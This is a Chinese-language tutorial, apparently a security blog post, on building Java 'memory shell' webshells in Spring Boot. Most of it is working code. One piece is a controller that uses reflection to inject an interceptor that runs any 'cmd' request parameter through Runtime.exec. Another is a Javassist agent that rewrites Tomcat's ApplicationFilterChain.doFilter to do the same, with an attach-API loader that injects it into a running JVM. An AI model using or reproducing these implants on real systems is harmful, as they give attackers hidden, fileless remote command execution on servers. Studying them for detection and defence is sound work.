完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException; @Controller public class Inject_Shell_Interceptor_Controller { @ResponseBody @RequestMapping("/inject") public void Inject () throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); Shell_Interceptor shell_interceptor = new Shell_Interceptor (); adaptedInterceptors.add(shell_interceptor); } public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true ; } return false ; } } }
访问对应路由/inject
成功执行
Java Agent内存马 有关Java Agent的知识点可以看我之前的一篇文章Instrument插桩技术 ,这里不过多介绍。
Agent内存马 现在我们可以通过Java Agent技术来修改正在运行JVM中的方法体,那么我们可以Hook一些JVM一定会调用、并且Hook之后不会影响正常业务逻辑的的方法来实现内存马。
这里我们以Spring Boot为例,来实现一个Agent内存马
Spring Boot中的Tomcat 我们知道,Spring Boot中内嵌了一个embed Tomcat作为其启动容器。既然是Tomcat,那肯定有相应的组件容器。我们先来调试一下SpringBoot,部分调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Context:20 , Context_Learn (com.example.spring_controller) ... (org.springframework.web.servlet.mvc.method.annotation) handleInternal:808 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87 , AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1067 , DispatcherServlet (org.springframework.web.servlet) doService:963 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doGet:898 , FrameworkServlet (org.springframework.web.servlet) service:655 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:764 , HttpServlet (javax.servlet.http) internalDoFilter:227 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) ...
可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( (java.security.PrivilegedExceptionAction<Void>) () -> { internalDoFilter(req,res); return null ; } ); } ... } } else { internalDoFilter(request,response); } }
跟到internalDoFilter()方法中
1 2 3 4 5 6 7 8 9 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ... } }
以上两个方法均拥有ServletRequest和ServletResponse,并且hook不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用
利用Java Agent实现Spring Filter内存马 我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()
方法,因此我们重写该方法即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain; public class Filter_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain" ); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }" + "}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
Inject_Agent_Spring类如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.java.inject; import com.sun.tools.attach.*; import java.io.IOException;import java.util.List; public class Inject_Agent_Spring { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.example.java_agent_springboot.JavaAgentSpringBootApplication" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar" ); virtualMachine.detach(); } } } }
启动一个简单的Spring Boot项目
运行Inject_Agent_Spring
类,在doFilter方法中注入恶意代码,成功执行